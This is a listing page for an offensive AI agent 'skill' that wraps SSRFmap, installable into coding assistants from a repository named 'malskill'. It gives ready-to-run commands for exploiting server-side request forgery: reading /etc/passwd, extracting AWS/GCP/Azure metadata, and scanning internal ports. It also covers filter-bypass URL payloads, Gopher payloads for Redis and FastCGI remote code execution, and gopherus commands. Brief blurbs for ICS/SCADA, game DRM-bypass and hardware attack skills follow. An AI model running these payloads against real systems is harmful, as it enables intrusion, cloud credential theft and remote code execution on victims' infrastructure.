offensive-tools/vuln-scanners/ssrfmap/SKILL.md
SSRFmap: automated SSRF (Server-Side Request Forgery) exploitation tool using Burp-style request files. Use when you have confirmed or suspected SSRF to read local files, enumerate internal ports, extract cloud metadata (AWS/GCP/Azure), or pivot to internal services (Redis, SMTP, memcached). Supports 10+ exploitation modules.
npx skillsauth add aeondave/malskill ssrfmapInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Automated SSRF exploitation — local files, port scan, cloud metadata, internal service abuse.
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap && pip3 install -r requirements.txt
# Basic: read /etc/passwd via SSRF
python3 ssrfmap.py -r request.txt -p url -m readfiles
# AWS metadata extraction
python3 ssrfmap.py -r request.txt -p url -m aws
# Internal port scan
python3 ssrfmap.py -r request.txt -p url -m portscan
Save a Burp-captured request as request.txt:
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{"url": "http://SSRF_URL"}
The -p url flag tells SSRFmap which parameter inside the body/query contains the injectable URL. Use SSRF_URL as a placeholder; the tool replaces it.
| Flag | Purpose |
|------|---------|
| -r <file> | Burp-format request file |
| -p <param> | Parameter name containing the SSRF URL |
| -m <module> | Exploitation module(s) — comma-separated |
| -l <level> | Verbosity level 0-3 (default: 0) |
| --lhost <ip> | Local IP for reverse shells or callbacks |
| --lport <port> | Local port for reverse shells |
| --proxy <url> | Route requests through proxy |
| --ssl | Force HTTPS connection to target |
| --uagent <ua> | Custom User-Agent |
| --waf | Enable WAF bypass mode (double URL encoding) |
| Module | What It Does |
|--------|-------------|
| readfiles | Read local files via file:///etc/passwd |
| portscan | Scan internal ports (127.0.0.1 / RFC1918) |
| aws | Extract AWS EC2 metadata (169.254.169.254) |
| gcp | Extract GCP metadata (metadata.google.internal) |
| azure | Extract Azure IMDS metadata |
| networkscan | Ping sweep internal network |
| redis | Exploit Redis via Gopher to write files or get shell |
| smtp | Send email via internal SMTP (Gopher) |
| fastcgi | PHP-FPM FastCGI RCE (Gopher) |
| mysql | MySQL query via Gopher |
| docker | Docker API enumeration |
| zabbix | Zabbix API exploitation |
# Enumerate everything in one pass
python3 ssrfmap.py -r request.txt -p url \
-m aws,readfiles,portscan -l 2
Confirm SSRF exists before running SSRFmap:
# 1. Start listener
python3 -m http.server 8000
# 2. Send request with callback to your IP
# If you see a request in the listener → SSRF confirmed
# 3. Test file read manually
curl "https://target.com/api?url=file:///etc/passwd"
# 4. Test cloud metadata (AWS)
curl "https://target.com/api?url=http://169.254.169.254/latest/meta-data/"
# IP representation variants
http://2130706433/ # 127.0.0.1 as decimal
http://0x7f000001/ # 127.0.0.1 as hex
http://0177.0.0.1/ # 127.0.0.1 as octal
http://[::1]/ # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
# DNS tricks
http://localtest.me/ # Resolves to 127.0.0.1
http://spoofed.burpcollaborator.net/ # DNS rebinding
# URL obfuscation
http://[email protected]/ # @ trick
http://127.0.0.1#target.com # Fragment
http://127.0.0.1/.target.com/ # Path confusion
# Protocol handlers
gopher://127.0.0.1:6379/_FLUSH%0D%0A # Redis via gopher
dict://127.0.0.1:6379/info # Redis via dict
For generating Gopher payloads targeting internal services:
pip3 install gopherus
gopherus --exploit redis # Redis RCE
gopherus --exploit mysql # MySQL query injection
gopherus --exploit fastcgi # PHP-FPM RCE
gopherus --exploit postgresql # PostgreSQL
references/ssrf-bypass.mddata-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.